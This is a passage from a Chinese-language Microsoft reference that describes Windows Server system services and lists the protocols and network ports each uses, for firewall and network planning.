“计算机浏览器”系统服务维护网络上的最新计算机列表,并应程序的请求提供此列表。基于 Windows 的计算机使用“计算机浏览器”服务来查看网络域和资源。被指定为浏览器的计算机维护浏览列表,这些列表中包含网络上使用的所有共享资源。Windows 程序的早期版本(如网上邻居、net view 命令以及 Windows 资源管理器)都需要浏览功能。例如,当您在一台运行 Microsoft Windows 95 的计算机上打开“网上邻居”时,就会出现域和计算机的列表。为了显示此列表,计算机从被指定为浏览器的计算机上获取浏览列表的副本。

系统服务名称:浏览器应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 名称解析 UDP 137
NetBIOS 会话服务 TCP 139

DHCP 服务器
“DHCP 服务器”服务使用动态主机配置协议 (DHCP) 自动分配 IP 地址。使用此服务,可以调整 DHCP 客户端的高级网络设置。例如,可以配置诸如域名系统 (DNS) 服务器和 Windows Internet 名称服务 (WINS) 服务器之类的网络设置。可以建立一个或多个 DHCP 服务器来维护 TCP/IP 配置信息并向客户机提供此信息。

系统服务名称:DHCPServer应用程序协议 协议 端口
DHCP 服务器 UDP 67
MADCAP UDP 2535

分布式文件系统
分布式文件系统 (DFS) 将位于局域网 (LAN) 或广域网 (WAN) 上的不同文件共享集成到一个逻辑命名空间中。DFS 服务是 Active Directory 域控制器公布 SYSVOL 共享文件夹所必需的。

系统服务名称:Dfs应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 会话服务 TCP 139
LDAP 服务器 TCP 389
LDAP 服务器 UDP 389
SMB TCP 445
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

分布式链接跟踪服务器
“分布式链接跟踪服务器”系统服务存储信息,使得在卷之间移动的文件可以跟踪到域中的每个卷。“分布式链接跟踪服务器”服务运行在一个域中的所有域控制器上。此服务启用“分布式链接跟踪客户端”服务以跟踪已移动到同一个域中另一个 NTFS 文件系统卷中某个位置的链接文档。

系统服务名称:TrkSvr应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

分布式事务处理协调器
“分布式事务处理协调器”(DTC) 系统服务负责协调跨多个计算机系统和资源管理器(如数据库、消息队列、文件系统和其他事务保护资源管理器)分布的事务。如果事务性组件是通过 COM+ 配置的,则需要 DTC 系统服务。消息队列(也称为 MSMQ)中的事务性队列和 SQL Server 跨多个系统运行也需要 DTC 系统服务。

系统服务名称:MSDTC应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

DNS 服务器
“DNS 服务器”服务通过应答有关 DNS 名称的查询和更新请求来启用 DNS 名称解析。查找使用 DNS 名称标识的设备和服务以及在 Active Directory 中查找域控制器都需要 DNS 服务器。

系统服务名称:DNS应用程序协议 协议 端口
DNS UDP 53
DNS TCP 53

事件日志
“事件日志”系统服务记录由程序和 Windows 操作系统生成的事件消息。事件日志报告中包含对诊断问题有用的信息。在事件查看器中查看报告。“事件日志”服务将程序、服务以及操作系统发送的事件写入日志文件。这些事件中不仅包含特定于源程序、服务或组件的错误,还包含诊断信息。日志可以通过事件日志 API 或通过 MMC 管理单元中的事件查看器以编程方式查看。

系统服务名称:Eventlog应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

Microsoft Exchange Server 和 Outlook 客户端
Microsoft Exchange Server 和 Exchange 客户端的不同版本具有不同的端口和协议要求。这些要求具体取决于正在使用的 Exchange Server 或 Exchange 客户端的版本。

要将 Outlook 客户端连接到 Exchange 2003 之前的 Exchange 版本,需要将 RPC 直接连接到 Exchange Server。在 Outlook 与 Exchange Server 之间进行的 RPC 连接将首先与 RPC 终结点映射器(端口 TCP 135)联系,以请求所需的各终结点的端口映射信息。然后,Outlook 客户端尝试使用这些终结点端口直接与 Exchange Server 进行连接。

Exchange 5.5 使用两个端口进行客户端通信。一个端口用于信息存储,另一个端口用于目录。Exchange 2000 和 2003 使用三个端口进行客户端通信。一个端口用于信息存储,一个端口用于目录参照 (RFR),另一个端口用于 DSProxy/NSPI。

在大多数情况下,上述的两个或三个端口将随机映射到 TCP 1024-65534 范围中。如果需要,可将这些端口配置为始终绑定到静态端口映射,而不使用临时端口。

有关如何在 Exchange Server 中如何配置静态 TCP/IP 端口的其他信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章:
Exchange 5.5 Server
148732 (http://support.microsoft.com/kb/148732/) XADM:设置 Internet 防火墙的 TCP/IP 端口号
Exchange 2000 Server 和 Exchange Server 2003
270836 (http://support.microsoft.com/kb/270836/) Exchange Server 静态端口映射

Outlook 2003 客户端支持通过使用 RPC 直接连接到 Exchange Server。但是,这些客户端也可以与 Internet 上宿主于基于 Windows Server 2003 的计算机上的 Exchange 2003 服务器进行通信。在 Outlook 和 Exchange Server 之间使用 RPC over HTTP 通信,消除了在 Internet 上公开未经身份验证的 RPC 流量的需要。相反,Outlook 2003 客户端和 Exchange Server 2003 计算机之间的流量将通过 TCP 端口 443 (HTTPS) 在 HTTPS 数据包内通信。

RPC over HTTP 要求端口 TCP 443 (HTTPS) 可在 Outlook 2003 客户端和作为“RPCProxy”设备的服务器之间使用。HTTPS 数据包终止于 RPCProxy 服务器,而未包装的 RPC 数据包将通过三个端口传递给 Exchange Server,其使用的方式与上述的直接 RPC 流量相似。Exchange Server 上的这些 RPC over HTTP 端口静态映射到 TCP 6001(信息存储)、TCP 6002(目录参照)和 TCP 6004 (DSProxy/NSPI)。在 Outlook 2003 和 Exchange 2003 之间使用 RPC over HTTP 进行通信时,由于 Outlook 2003 知道使用这些静态映射的终结点端口,因此无需公开任何终结点映射器。此外,无需向 Outlook 2003 客户端公开任何全局编录,原因是 Exchange 2003 服务器上的 DSProxy/NSPI 接口将提供此功能。

对于您的特定环境,可能还需要考虑其他事项。有关规划 Exchange 实现的进一步信息和帮助,请访问下面的 Microsoft 网站:
http://www.microsoft.com/exchange/library (http://www.microsoft.com/exchange/library)
有关更多信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章:
270836 (http://support.microsoft.com/kb/270836/) Exchange Server 静态端口映射
278339 (http://support.microsoft.com/kb/278339/) Exchange 2000 Server 使用的 TCP/UDP 端口
280132 (http://support.microsoft.com/kb/280132/) XCCC:通过防火墙建立 Exchange 2000 Windows 2000 连接
282446 (http://support.microsoft.com/kb/282446/) Exchange 群集上静态端口的 DSProxy 配置
827330 (http://support.microsoft.com/kb/827330/) 在 Office Outlook 2003 中如何对客户端 RPC over HTTP 连接问题进行故障排除
833401 (http://support.microsoft.com/kb/833401/) 如何在一台服务器上的 Exchange Server 2003 中配置 RPC over HTTP

Exchange Server 还支持其他协议,如 SMTP、邮局协议版本 3 (POP3) 以及 IMAP。

应用程序协议 协议 端口
IMAP TCP 143
IMAP over SSL TCP 993
POP3 TCP 110
POP3 over SSL TCP 995
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号
RPC TCP 135
RPC over HTTP TCP 443
SMTP TCP 25
SMTP UDP 25
信息存储 TCP 6001
目录参照 TCP 6002
DSProxy/NSPI TCP 6004

传真服务
传真服务是一种符合 Telephony API (TAPI) 标准的系统服务,它提供传真功能。通过使用传真服务,用户可以使用本地传真设备或共享的网络传真设备,从他们的桌面程序发送和接收传真。

系统服务名称:Fax应用程序协议 协议 端口
NetBIOS 会话服务 TCP 139
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号
SMB TCP 445

文件复制
“文件复制”服务 (FRS) 是一个基于文件的复制引擎,它可以在参与公共 FRS 副本集的计算机之间将更新自动复制到文件和文件夹中。FRS 是用于在位于公共域中的基于 Windows 2000 和基于 Windows Server 2003 的域控制器之间复制 SYSVOL 文件夹的内容的默认复制引擎。可将 FRS 配置为通过使用 DFS 管理工具在 DFS 根或链接的目标之间复制文件和文件夹。

系统服务名称:NtFrs应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

Macintosh 文件服务器
使用“Macintosh 文件服务器”系统服务,Macintosh 计算机用户可以在运行 Windows Server 2003 的计算机上存储和访问文件。如果此服务被关闭或被阻止,Macintosh 客户端将无法在该计算机上访问或存储文件。

系统服务名称:MacFile应用程序协议 协议 端口
Macintosh 文件服务器 TCP 548

FTP 发布服务
FTP 发布服务提供 FTP 连接。默认情况下,FTP 控制端口为 21。不过,通过 Internet 信息服务 (IIS) 管理器管理单元可以配置此系统服务。默认数据端口(即主动模式 FTP 使用的端口)自动设置为比控制端口低一个端口。因此,如果将控制端口配置为端口 4131,则默认数据端口为端口 4130。大多数 FTP 客户端都使用被动模式 FTP。这表示客户端最初使用控制端口连接到 FTP 服务器,FTP 服务器分配一个介于端口 1025 和 5000 之间的高 TCP 端口,然后客户端打开另一个 FTP 服务器连接以传输数据。可以使用 IIS 元数据库配置高端口的范围。

系统服务名称:MSFTPSVC应用程序协议 协议 端口
FTP 控制 TCP 21
FTP 默认数据 TCP 20
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

组策略
为成功应用组策略,客户端必须能够通过 DCOM、ICMP、LDAP、SMB 和 RPC 协议与域控制器联系。如果上述任一协议不可用或者在客户端和相关域控制器之间被阻止,策略将不会应用或刷新。对于跨域登录(其中计算机在一个域中,而用户帐户在另一个域中),客户端、资源域和帐户域可能需要这些协议进行通信。ICMP 用来检测慢速链接。 有关慢速链接检测的更多信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章:
227260 (http://support.microsoft.com/kb/227260/) 如何检测慢速链接来处理用户配置文件和组策略

系统服务名称:组策略应用程序协议 协议 端口
DCOM TCP + UDP 1024 – 65534 之间的随机端口号
ICMP (ping) UCP 20
LDAP TCP 389
SMB TCP 445
RPC TCP 135, 1024 – 65534 之间的随机端口号

HTTP SSL
HTTP SSL 系统服务使 IIS 能够执行 SSL 功能。SSL 是一个开放式标准,用于建立加密的通信通道以帮助防止拦截重要信息(如信用卡号码)。尽管此服务旨在处理其他 Internet 服务,但它主要用于启用万维网 (WWW) 上的加密电子金融交易。通过 Internet 信息服务 (IIS) 管理器管理单元可以配置用于此服务的端口。

系统服务名称:HTTPFilter应用程序协议 协议 端口
HTTPS TCP 443

Internet 验证服务
Internet 验证服务 (IAS) 对正在连接到网络的用户执行集中身份验证、授权、审核以及记帐。这些用户可以在 LAN 连接上,也可以在远程连接上。IAS 实现 Internet 工程任务组 (IETF) 标准远程身份验证拨号用户服务 (RADIUS) 协议。

系统服务名称:IAS应用程序协议 协议 端口
旧式 RADIUS UDP 1645
旧式 RADIUS UDP 1646
RADIUS 记帐 UDP 1813
RADIUS 身份验证 UDP 1812

Internet 连接防火墙/Internet 连接共享 (ICS)
此系统服务为家庭网络或小型办公室网络上的所有计算机提供 NAT、寻址以及名称解析服务。当启用 Internet 连接共享功能时,您的计算机就变成网络上的“Internet 网关”,然后其他客户机可以共享一个 Internet 连接,如拨号连接或宽带连接。此服务提供基本的 DHCP 服务和 DNS 服务,但它也适用于功能完备的 Windows DHCP 服务或 DNS 服务。当 ICF 和 Internet 连接共享充当网络上其他计算机的网关时,它们在内部网络接口上为专用网络提供 DHCP 服务和 DNS 服务。它们不在面向外部的接口上提供这些服务。

系统服务名称:SharedAccess应用程序协议 协议 端口
DHCP 服务器 UDP 67
DNS UDP 53
DNS TCP 53

Kerberos 密钥发行中心
当您使用 Kerberos 密钥发行中心 (KDC) 系统服务时,用户可以使用 Kerberos 版本 5 身份验证协议登录到网络。与在 Kerberos 协议的其他实现中一样,KDC 是一个提供两个服务的进程:身份验证服务和票证授予服务。身份验证服务颁发票证授予票证,票证授予服务颁发用于连接到自己的域中的计算机的票证。

系统服务名称:kdc应用程序协议 协议 端口
Kerberos TCP 88
Kerberos UDP 88

许可证记录
“许可证记录”系统服务是一个工具,当初设计它是为了帮助用户管理服务器客户端访问许可证 (CAL) 模型中授权的 Microsoft 服务器产品的许可证。许可证记录是随 Microsoft Windows NT Server 3.51 引入的。默认情况下,在 Windows Server 2003 中“许可证记录”服务是禁用的。由于原始设计的限制和许可协议条款和条件发展的原因,许可证记录可能不会提供一个精确视图来对比显示购买的 CAL 总数和在一个特定服务器上或在企业范围内使用的 CAL 总数。许可证记录报告的 CAL 可能会与“最终用户许可协议”(EULA) 的解释和“产品使用权”(PUR) 相冲突。Windows 操作系统的将来版本中将不包括许可证记录。Microsoft 仅建议 Microsoft Small Business Server 系列操作系统的用户在服务器上启用此服务。

系统服务名称:LicenseService应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 会话服务 TCP 139
SMB TCP 445

消息队列
“消息队列”系统服务是一个消息处理基础结构和开发工具,用于创建 Windows 分布式消息处理程序。这些程序可以跨异构网络进行通信,并且可以在可能暂时无法彼此连接的计算机之间发送消息。消息队列对提供安全性、提高路由效率、支持在事务内发送消息、基于优先级的消息处理以及有保障的消息传递都有帮助。

系统服务名称:MSMQ应用程序协议 协议 端口
MSMQ TCP 1801
MSMQ UDP 1801
MSMQ-DCs TCP 2101
MSMQ-Mgmt TCP 2107
MSMQ-Ping UDP 3527
MSMQ-RPC TCP 2105
MSMQ-RPC TCP 2103
RPC TCP 135

信使服务
“信使”系统服务向用户和计算机、管理员以及 Alerter 服务发送消息或接收来自它们的消息。此服务与 Windows Messenger 无关。如果禁用信使服务,发送给当前登录到网络上的计算机或用户的通知就无法收到。另外,net send 命令和 net name 命令不再起作用。

系统服务名称:信使服务应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138

Microsoft Exchange MTA 堆栈
在 Microsoft Exchange 2000 Server 和 Microsoft Exchange Server 2003 中,邮件传输代理 (MTA) 经常用于在混合模式环境中的基于 Exchange 2000 Server 的服务器和基于 Exchange Server 5.5 的服务器之间提供向下兼容的邮件传输服务。

系统服务名称:MSExchangeMTA应用程序协议 协议 端口
X.400 TCP 102

Microsoft Operations Manager 2000
Microsoft Operations Manager (MOM) 2000 通过提供全面的事件管理、主动的监视和警告、报告以及趋势分析来提供企业级操作管理。安装了 MOM 2000 Service Pack 1 (SP1) 之后,MOM 2000 不再使用明文通信通道,MOM 代理和 MOM 服务器之间的所有通信都在 TCP 端口 1270 上加密。MOM 管理员控制台使用 DCOM 连接到服务器。这意味着管理网络上的 MOM 服务器的管理员必须能够访问随机高 TCP 端口。

系统服务名称:one point应用程序协议 协议 端口
MOM 明文 TCP 51515
MOM 加密 TCP 1270

Microsoft POP3 服务
Microsoft POP3 服务提供电子邮件传输服务和检索服务。管理员可以使用此服务在邮件服务器上存储和管理电子邮件帐户。在邮件服务器上安装 Microsoft POP3 服务后,用户就可以使用支持 POP3 协议的电子邮件客户程序(如 Microsoft Outlook)连接到邮件服务器并且可以检索电子邮件。

系统服务名称:POP3SVC应用程序协议 协议 端口
POP3 TCP 110

MSSQLSERVER
MSSQLSERVER 是 Microsoft SQL Server 2000 中的系统服务。SQL Server 提供了一个强大而全面的数据管理平台。使用服务器网络实用工具可以配置每个 SQL Server 实例所使用的端口。

系统服务名称:MSSQLSERVER应用程序协议 协议 端口
SQL over TCP TCP 1433
SQL Probe UDP 1434

MSSQL$UDDI
MSSQL$UDDI 系统服务是在安装 Windows Server 2003 系列操作系统的“通用说明、发现和集成”(UDDI) 功能期间安装的。MSSQL$UDDI 在企业中提供 UDDI 功能。SQL Server 数据库引擎是 MSSQL$UDDI 的核心组件。

系统服务名称:MSSQLSERVER应用程序协议 协议 端口
SQL over TCP TCP 1433
SQL Probe UDP 1434

网络登录
“网络登录”系统服务维护计算机和域控制器之间的安全通道,对用户和服务进行身份验证。它将用户的凭据传递给域控制器,然后返回用户的域安全标识符和用户权限。这通常称为 pass-through 身份验证。“网络登录”被配置为仅在成员计算机或域控制器加入域时自动启动。在 Windows 2000 Server 系列和 Windows Server 2003 系列中,“网络登录”发布 DNS 中的服务资源定位器记录。当此服务运行时,它依赖“服务器”服务和“本地安全机构”服务来侦听传入的请求。在域成员计算机上,“网络登录”使用命名管道上的 RPC。在域控制器上,它使用命名管道上的 RPC、RPC over TCP/IP、邮筒以及轻型目录访问协议 (LDAP)。

系统服务名称:Netlogon应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 名称解析 UDP 137
NetBIOS 会话服务 TCP 139
SMB TCP 445

NetMeeting 远程桌面共享
“NetMeeting 远程桌面共享”系统服务允许经过授权的用户使用 Windows NetMeeting 通过公司的内部网从其他个人计算机远程访问您的 Windows 桌面。您必须在 NetMeeting 中显式启用此服务。您也可以在 Windows 通知区域中使用一个图标来禁用或关闭此功能。

系统服务名称:mnmsrvc应用程序协议 协议 端口
终端服务 TCP 3389

网络新闻传输协议 (NNTP)
“网络新闻传输协议”(NNTP) 系统服务允许运行 Windows Server 2003 的计算机用作新闻服务器。客户端可以使用新闻客户程序(如 Microsoft Outlook Express)从服务器检索新闻组,并阅读各个新闻组中的文章标题或正文。

系统服务名称:NNTPSVC应用程序协议 协议 端口
NNTP TCP 119
NNTP over SSL TCP 563

性能日志和警报
“性能日志和警报”系统服务根据预先配置的日程表参数,从本地或远程计算机搜集性能数据,然后将这些数据写入日志或触发消息。根据指定日志集合设置中包含的信息,“性能日志和警报”服务启动和停止每个指定的性能数据集合。仅当安排了至少一个性能数据集合时,此服务才运行。

系统服务名称:SysmonLog应用程序协议 协议 端口
NetBIOS 会话服务 TCP 139

后台打印程序
“后台打印程序”系统服务管理所有的本地和网络打印队列,并控制所有打印作业。后台打印程序是 Windows 打印子系统的中心。它管理系统上的打印队列,并与打印机驱动程序和输入/输出 (I/O) 组件(如 USB 端口和 TCP/IP 协议套件)进行通信。

系统服务名称:Spooler应用程序协议 协议 端口
NetBIOS 会话服务 TCP 139
SMB TCP 445

远程安装
使用“远程安装”系统服务可以在启用了预引导执行环境 (PXE) 远程启动的客户机上安装 Windows 2000、Windows XP 和 Windows Server 2003。启动信息协商层 (BINL) 服务(远程安装服务器 (RIS) 的主要组件)应答 PXE 客户端请求,检查 Active Directory 以进行客户端验证,然后与服务器相互传递客户端信息。当您从“添加/删除 Windows 组件”添加 RIS 组件,或者当您第一次安装操作系统时选中该组件时,就会安装 BINL 服务。

系统服务名称:BINLSVC应用程序协议 协议 端口
BINL UDP 4011

远程过程调用 (RPC)
“远程过程调用”(RPC) 系统服务是一种进程间通信 (IPC) 机制,它启用驻留在另一个进程中的数据交换和功能调用。不同的进程可以位于同一台计算机上、LAN 上或位于远程位置,并且可以通过 WAN 连接或 VPN 连接进行访问。RPC 服务充当 RPC 终结点映射器和组件对象模型 (COM) 服务控制管理程序。许多服务的成功启动都依赖于 RPC 服务。

系统服务名称:RpcSs应用程序协议 协议 端口
RPC TCP 135
RPC over HTTP TCP 593

远程过程调用 (RPC) 定位器
“远程过程调用 (RPC) 定位器”系统服务管理 RPC 名称服务数据库。此服务打开后,RPC 客户端可以定位 RPC 服务器。默认情况下此服务处于关闭状态。

系统服务名称:RpcLocator应用程序协议 协议 端口
NetBIOS 会话服务 TCP 139
SMB TCP 445

远程存储通知
“远程存储通知”系统服务在用户读取或写入仅从辅助存储媒体可用的文件时通知他们。停止此服务后将禁止此通知。

系统服务名称:Remote_Storage_User_Link应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

远程存储服务器
“远程存储服务器”系统服务将不经常使用的文件存储到辅助存储媒体上。如果停止了此服务,用户将无法从辅助存储媒体移动或检索文件。

系统服务名称:Remote_Storage_Server应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

路由和远程访问
“路由和远程访问”服务提供多重协议 LAN 到 LAN、LAN 到 WAN、VPN 和 NAT 路由服务。此外,“路由和远程访问”服务还提供拨号和 VPN 远程访问服务。虽然“路由和远程访问”可以使用下面列出的所有协议,但此服务通常仅使用这些协议的一个子集。例如,在配置位于筛选路由器后面的 VPN 网关时,使用的通常只是一种技术。如果您将 L2TP 与 IPsec 一起使用,则必须允许 IPsec ESP(IP 协议 50)、NAT-T(UDP 位于端口 4500)和 IPsec ISAKMP(UDP 位于端口 500)通过路由器。

注意:虽然 L2TP 需要 NAT-T 和 IPsec ISAKMP,但是这些端口实际上由“本地安全机构”来监视。有关此方面的其他信息,请参见本文中的“参考”一节。

系统服务名称:RemoteAccess应用程序协议 协议 端口
GRE(IP 协议 47) GRE 无
IPsec AH(IP 协议 51) AH 无
IPsec ESP(IP 协议 50) ESP 无
L2TP UDP 1701
PPTP TCP 1723

服务器
“服务器”系统服务提供 RPC 支持和文件、打印以及通过网络的命名管道共享。“服务器”服务允许共享本地资源(如磁盘和打印机)以使网络上的其他用户可以访问这些资源。它还允许本地计算机和其他计算机上运行的程序之间的命名管道通信。命名管道通信是为一个进程的输出将要用作另一个进程的输入而保留的内存。接受输入的进程不必在本地计算机上。

系统服务名称:lanmanserver应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 名称解析 UDP 137
NetBIOS 会话服务 TCP 139
SMB TCP 445

SharePoint Portal Server
使用 SharePoint Portal Server 系统服务,可以开发一个智能门户,它将用户、团队和知识紧密地联系起来,使人们能够在不同的业务流程之间利用相关的信息。Microsoft SharePoint Portal Server 2003 提供了一个企业业务解决方案,该方案通过单次登录和企业应用集成功能,将来自不同系统的信息集成到一个解决方案中。

应用程序协议 协议 端口
HTTP TCP 80
HTTPS TCP 443

简单邮件传输协议 (SMTP)
“简单邮件传输协议”(SMTP) 系统服务是电子邮件提交和中继代理。它接受发往远程目标的电子邮件并将它们排队,并按指定的时间间隔重试发送。Windows 域控制器将 SMTP 服务用于站点间基于电子邮件的复制。Windows Server 2003 COM 组件的协作数据对象 (CDO) 可以使用 SMTP 服务提交出站电子邮件并将它们排队。

系统服务名称:SMTPSVC应用程序协议 协议 端口
SMTP TCP 25
SMTP UDP 25

简单 TCP/IP 服务
简单 TCP/IP 服务实现了对以下协议的支持: Echo,端口 7,RFC 862
Discard,端口 9,RFC 863
Character Generator,端口 19,RFC 864
Daytime,端口 13,RFC 867
Quote of the Day,端口 17,RFC 865
系统服务名称:SimpTcp应用程序协议 协议 端口
Chargen TCP 19
Chargen UDP 19
Daytime TCP 13
Daytime UDP 13
Discard TCP 9
Discard UDP 9
Echo TCP 7
Echo UDP 7
Quotd TCP 17
Quoted UDP 17

SMS 远程控制代理
SMS 远程控制代理是 Microsoft Systems Management Server (SMS) 2003 中的一项系统服务。“SMS 远程控制代理”为 Microsoft 操作系统的更改和配置管理提供了一个全面的解决方案。使用该解决方案,组织可以为用户提供相关的软件和更新程序。

系统服务名称:Wuser32应用程序协议 协议 端口
SMS 远程聊天 TCP 2703
SMS 远程聊天 UDP 2703
SMS 远程控制(控件) TCP 2701
SMS 远程控制(控件) UDP 2701
SMS 远程控制(数据) TCP 2702
SMS 远程控制(数据) UDP 2702
SMS 远程文件传输 TCP 2704
SMS 远程文件传输 UDP 2704

SNMP 服务
SNMP 服务允许本地计算机处理传入的简单网络管理协议 (SNMP) 请求。SNMP 服务中包含监视网络设备活动并向网络控制台工作站报告的代理。SNMP 服务提供了从位于中央位置并且运行网络管理软件的计算机管理网络主机(如工作站或服务器计算机、路由器、网桥和集线器)的方法。SNMP 使用分布式管理系统和代理体系结构来执行管理服务。

系统服务名称:SNMP应用程序协议 协议 端口
SNMP UDP 161

SNMP 陷阱服务
SNMP 陷阱服务接收由本地或远程 SNMP 代理生成的陷阱消息,然后将这些消息转发给您的计算机上运行的 SNMP 管理程序。为代理配置了 SNMP 陷阱服务后,如果发生任何特定的事件,都将生成陷阱消息。这些消息被发送到陷阱目标。例如,可以将代理配置为在无法识别的管理系统发送信息请求时启动身份验证陷阱。陷阱目标包括管理系统的计算机名称、IP 地址或网间数据包交换 (IPX) 地址。陷阱目标必须是启用网络并且运行 SNMP 管理软件的主机。

系统服务名称:SNMPTRAP应用程序协议 协议 端口
SNMP 陷阱出站 UDP 162

SQL 分析服务器
“SQL 分析服务器”系统服务是 SQL Server 2000 的一个组件。使用 SQL 分析服务器,您可以创建并管理 OLAP 多维数据集和数据挖掘模型。分析服务器可以访问本地数据源或远程数据源以便创建和存储多维数据集或数据挖掘模型。

应用程序协议 协议 端口
SQL 分析服务 TCP 2725

SQL Server:下层 OLAP 客户端支持
当 SQL 分析服务器服务必须支持来自下层(OLAP Services 7.0)客户端的连接时,SQL Server 2000 使用该系统服务。这些是 SQL 7.0 使用 OLAP 服务的默认端口。

应用程序协议 协议 端口
OLAP Services 7.0 TCP 2393
OLAP Services 7.0 TCP 2394

SSDP 发现服务
SSDP 发现服务将“简单服务发现协议”(SSDP) 实现为 Windows 服务。SSDP 发现服务管理设备存在通知回执,更新其缓存,并将这些通知连同未决的搜索请求一起传递给客户端。SSDP 发现服务还接受来自客户端的事件回调注册,将它们转变为订阅请求,并监视事件通知。然后将这些请求传递给已注册的回调。该系统服务还为宿主设备提供定期通知。SSDP 事件通知服务当前使用 TCP 端口 5000。从下一个 Windows XP service pack 开始,它将依赖于 TCP 端口 2869。

注意:在撰写本文时,当前的 Windows XP Service Pack 级别为 Windows XP Service Pack 1 (SP1)。

系统服务名称:SSDPRSR应用程序协议 协议 端口
SSDP UDP 1900
SSDP 事件通知 TCP 2869
SSDP 旧事件通知 TCP 5000

Systems Management Server 2.0
Microsoft Systems Management Server (SMS) 2003 为 Microsoft 操作系统的更改和配置管理提供了一个全面的解决方案。使用此解决方案,组织可以快速经济地为用户提供相关的软件和更新程序。

应用程序协议 协议 端口
NetBIOS 数据报服务 UDP 138
NetBIOS 名称解析 UDP 137
NetBIOS 会话服务 TCP 139
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

TCP/IP 打印服务器
“TCP/IP 打印服务器”系统服务启用基于 TCP/IP 的打印(使用 Line Printer Daemon 协议)。服务器上的 LPD 服务从运行在 UNIX 计算机上的远程行式打印机 (LPR) 实用工具接收文档。

系统服务名称:LPDSVC应用程序协议 协议 端口
LPD TCP 515

Telnet
用于 Windows 的 Telnet 系统服务为 Telnet 客户端提供 ASCII 终端会话。Telnet 服务器支持两种类型的身份验证,并支持以下四种类型的终端:
美国国家标准协会 (ANSI)
VT-100
VT-52
VTNT
系统服务名称:TlntSvr应用程序协议 协议 端口
Telnet TCP 23

终端服务
终端服务提供了一个多会话环境,允许客户端设备访问虚拟 Windows 桌面会话和服务器上运行的基于 Windows 的程序。终端服务允许多个用户以交互方式连接到一台计算机。

系统服务名称:TermService应用程序协议 协议 端口
终端服务 TCP 3389

终端服务授权
“终端服务授权”系统服务安装许可证服务器,并在已注册的客户端连接到终端服务器(启用“终端服务器”的服务器)时为这些客户端提供许可证。终端服务授权是一种低影响服务,它存储已颁发给终端服务器的客户端许可证,然后跟踪已颁发给客户机或终端的许可证。

系统服务名称:TermServLicensing应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号
SMB(命名管道) TCP 139, 445

终端服务会话目录
“终端服务会话目录”系统服务允许负荷平衡终端服务器群集将用户的连接请求正确地路由到用户已在其上运行会话的服务器。不论用户是否正在服务器群集中运行另一个会话,用户都被路由到第一个可用的终端服务器。负荷平衡功能使用 TCP/IP 网络协议集中多个服务器的处理资源。在终端服务器群集中,可以使用此服务在多个服务器之间分配会话,以提高单个终端服务器的性能。终端服务会话目录跟踪群集上断开连接的会话,并确保用户重新连接到那些会话。

系统服务名称:Tssdis应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

普通 FTP 后台程序
“普通 FTP 后台程序”系统服务不需要用户名和密码,它是远程安装服务 (RIS) 不可缺少的一部分。“普通 FTP 后台程序”服务实现对由以下 RFC 定义的“普通 FTP 协议”(TFTP) 的支持:
RFC 1350 – TFTP
RFC 2347 – 选项扩展
RFC 2348 – 块大小选项
RFC 2349 – 超时间隔和传输大小选项
普通文件传输协议 (TFTP) 是一种文件传输协议,旨在支持无盘引导环境。TFTP 服务在 UDP 端口 69 上进行侦听,但从随机分配的高端口进行响应。因此,启用此端口将使 TFTP 服务接收传入的 TFTP 请求,但不会使选定服务器对这些请求做出响应。该服务可以自由地对来自任何源端口的任意此类请求做出响应,远程客户端将在传输的持续时间内使用该端口。通信是双向的。如果您需要通过防火墙启用此协议,则打开入站的 UDP 端口 69 可能是有用的。然后可以依赖于其他防火墙功能,这些功能可以动态地允许服务通过任何其他端口上的临时洞进行响应。

系统服务名称:tftpd应用程序协议 协议 端口
TFTP UDP 69

通用即插即用设备主机
“通用即插即用主机发现”系统服务实现了设备注册、控制和响应宿主设备事件所需的全部组件。与设备相关的注册信息(说明、有效期和容器)可以选择存储在磁盘上,并在注册后或者在操作系统重新启动时在网络上公布。此服务除了包括服务说明和演示页外,还包括为设备提供服务的 Web 服务器。

系统服务名称:UPNPHost应用程序协议 协议 端口
UPNP TCP 2869

Windows Internet 名称服务 (WINS)
Windows Internet 名称服务 (WINS) 启用 NetBIOS 名称解析。此服务使用 NetBIOS 名称帮助您定位网络资源。除非已将所有域都升级到 Active Directory 目录服务并且网络上的所有计算机都运行 Windows 2000 或更高版本,否则需要 WINS 服务器。WINS 服务器使用 NetBIOS 名称解析与网络客户端进行通信。仅在 WINS 服务器之间才需要 WINS 复制。

系统服务名称:WINS应用程序协议 协议 端口
NetBIOS 名称解析 UDP 137
WINS 复制 TCP 42
WINS 复制 UDP 42

Windows 媒体服务
Windows Server 2003 中的 Windows 媒体服务取代了 Windows Media Services 4.0 版本和 4.1 版本中包含的以下四项服务:
Windows 媒体监视服务
Windows 媒体节目服务
Windows 媒体广播站服务
Windows 媒体单播服务
